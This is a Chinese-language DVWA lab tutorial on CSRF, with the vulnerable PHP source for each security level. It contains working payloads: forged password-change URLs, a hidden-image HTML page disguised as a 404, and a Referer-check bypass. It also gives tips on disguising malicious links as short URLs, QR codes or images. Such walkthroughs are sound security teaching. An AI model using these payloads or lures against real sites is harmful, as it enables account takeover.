引入:SQL注入是一种后端的攻击行为,通过浏览器发出请求,基于http/https协议将数据送给对方服务器,服务器通过WEB容器,将数据进行解析,实现与数据库的交互,而CSRF则是一种前端的注入。
CSRF(Cross-Site Request Forgery)是一种前端的注入,译为跨站请求伪造。
浏览器的同源策略:(Same origin policy)是一种约定,是浏览器最核心也是最基本的安全功能,所谓同源是指域名、协议、端口相同
CSRF攻击: 是利用受被攻击者的身份认证信息(cookie),诱骗其点击恶意链接或者访问包含攻击代码的界面,在被攻击者不知情的情况下以被攻击者的身份向服务器发出请求,从而进行一些非法操作(改密码)
通常情况下由于同源策略的原因,我们不能直接进行跨站操作,但是HTML中存在可跨站的脚本语言
在html中,同源策略对下列脚本语言无效:
<script></script>
img图片
iframe
line
等.....
1.用户USER打开浏览器,访问受信任网站A,输入用户名和密码登录网站A
2.在用户通过验证之后,网站A产生cookie信息并返回给浏览器,此时用户登录网站A成功
3.用户未退出网站A的情况下,在同一浏览器访问B
4.网站B接收到用户请求之后,返回攻击代码,并发出一个请求要求访问第三方站点A
5.浏览器接收攻击性代码后,根据B的请求,在用户不知情的情况下,以用户USER的身份(携带USER的cookie)信息,向网站A发出请求
此时网站A不知道请求由B发起,根据用户USER的cookie信息以USER的身份权限处理该请求,从而导致网站B的恶意代码被执行
在low等级下,无任何安全策略以及过滤,web页面回显如下,Change your admin password,修改当前用户admin的密码
此时我们输入新的密码,确认一次,在Web页面回显已经修改成功(Password Changed)
浏览器URL中回显为,http://192.168.203.149/DVWA-1.9/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
,此时漏洞点就暴露出来
此时所在页面设为WEB A
我们以攻击者的身份创建一个新的链接为WEB B,链接为:
http://192.168.203.149/DVWA-1.9/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
以此链接发送个admin用户,诱导用户点击该链接
admin在同一个浏览器中打开该链接,此时会以WEB A页面用户admin的身份信息打开该链接,由于该链接与WEB A页面同源,此时会通过直接修改admin的密码为123456,且页面回显与WEB A页面一致。
admin用户再次登录发现密码已经被修改,Login failed(登录失败)
上述过程中,完整的展示出了CSRF攻击的整个流程,但是其中存在很大的问题
我们在以攻击者的身份来诱导用户admin,来点击B链接,但是B链接太过于简单(弱智)
http://192.168.203.149/DVWA-1.9/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
只要是一个稍微懂点计算机知识的都能看出,该链接中有密码信息,且该链接与链接A基本上相同,所以这种连接作为用户能直观看出来的作用的,你觉得用户回去点击吗?
用户不会点击该链接(B)的原因就是该链接,过于简单,且无诱惑力,站在被攻击者的角度来想想,我为什么要去点击这个链接? 点击这个链接对自己有什么好处?
1.长短连接变换:长短链接变换,可以使该链接变的真实,且具有迷惑性,在DVWA中由于是本地环境,且基于本地IP地址,无法进行长链接变短链接的操作
举例
这是我之前的DVWA-文件上传漏洞(File Upload)博文,从长链接我们能看出该URL为CSDN博客,短链接无法看出
长链接: https://blog.csdn.net/weixin_43726831/article/details/102512070
短链接: http://mrw.so/5aMSRJ
2.转换成二维码:将链接转换成二维码,相比于短链接,二维码更具真实性,更具迷惑性
举例
长链接: https://blog.csdn.net/weixin_43726831/article/details/102512070
二维码:
3.转换成图片格式的链接
在三种链接转换方式中,最具有迷惑性,诱惑力的就为图片链接形式
上述过程中WEB B页面回显同WEB A页面的回显一致,admin用户打开连接B能直观的发现自己的密码已经被修改(Password Change)
在现实的攻击中,需要定义一个攻击回显页面,该攻击页面能既能达到攻击的效果,又能不让用户发觉
在DVWA环境中,由于是本地环境,我们可以定义一个本地WEB页面(html文件)
touch change.html
vim change.html
写入代码
<img src="http://192.168.203.149/DVWA-1.9/vulnerabilities/csrf/
?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none"/>
<h1>404<h1>
<h2>file not found.<h2>
admin用户打开链接http://192.168.203.149/DVWA-1.9/vulnerabilities/csrf/change.html
当然可对该攻击页面进行进行优化,使之更加趋于真实,当然该链接也需进行迷惑型的转化
此时change.html中的代码已经执行(也就是修改密码已经完成),被攻击者此时无法察觉自己的密码已经被修改了,当被攻击者下次登录该网站时发现密码已经被修改。
CSRF Source:
无安全策略,当pass_new=pass_conf时直接修改密码。
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( ''
. mysql_error() . '
' );
// Feedback for the user
echo "Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } mysql_close(); } ?>
DVWA-Medium等价下CSRF攻击,会有一些安全策略
CSRF Source:
eregi()函数: 在一个字符串搜索指定的模式的字符串,在medium等级中,检查HTTP_REFERER字段中是否有包含SERVER_NAME(HOST)字段,当匹配成功时返回true,否则返回false
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( ''
. mysql_error() . '
' );
// Feedback for the user
echo "Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } } else { // Didn't come from a trusted source echo "
That request didn't look correct."; } mysql_close(); } ?>
也就是说referer字段里必须存在HOST:192.168.203.149 eregi()函数是用字符串进行比较
绕过方法: 我们此时可以创建一个带有192.168.203.149的html文件,192.168.203.149.html文件
写入具有迷惑性的代码
<img src="http://192.168.203.149/DVWA-1.9/vulnerabilities/csrf/
?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none"/>
<h1>404<h1>
<h2>file not found.<h2>
HOST字段通常与本地主机IP相同,为了防止干扰,我们在本地192.168.203.150主机上面做
此时被攻击者admin打开连接http://192.168.203.150/DVWA-1.9/vulnerabilities/csrf/192.168.203.149.html
192.168.203.149.html中的脚本被执行,此时密码已经修改
当被攻击者下次再次登录该网站时,才发觉自己的密码已经被修改。
在High等级下,安全策略启用了token机制,安全性更强
CSRF Source:
基于token的验证,随机数,由于现在浏览器不支持跨域,后期我们在XSS漏洞中,我们可以借助XSS漏洞协助获取token
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( ''
. mysql_error() . '
' );
// Feedback for the user
echo "Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } mysql_close(); } // Generate Anti-CSRF token generateSessionToken(); ?>
impossible等级之下,有相当强的安全策略,几乎不可能攻破
CSRF Source:
Token机制: 定义随机数token
stripslashes() 函数: 过滤了反斜杠,删除反斜杠
mysql_real_escape_string() 函数: 转义 SQL 语句中使用的字符串中的特殊字符,\x00 \n \r \ ’ " \x1a字符受影响。
bindParam()函数: 该函数绑定了 SQL 的参数,且告诉数据库参数的值
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "Password Changed.
";
}
else {
// Issue with passwords matching
echo "Passwords did not match or current password incorrect.
";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>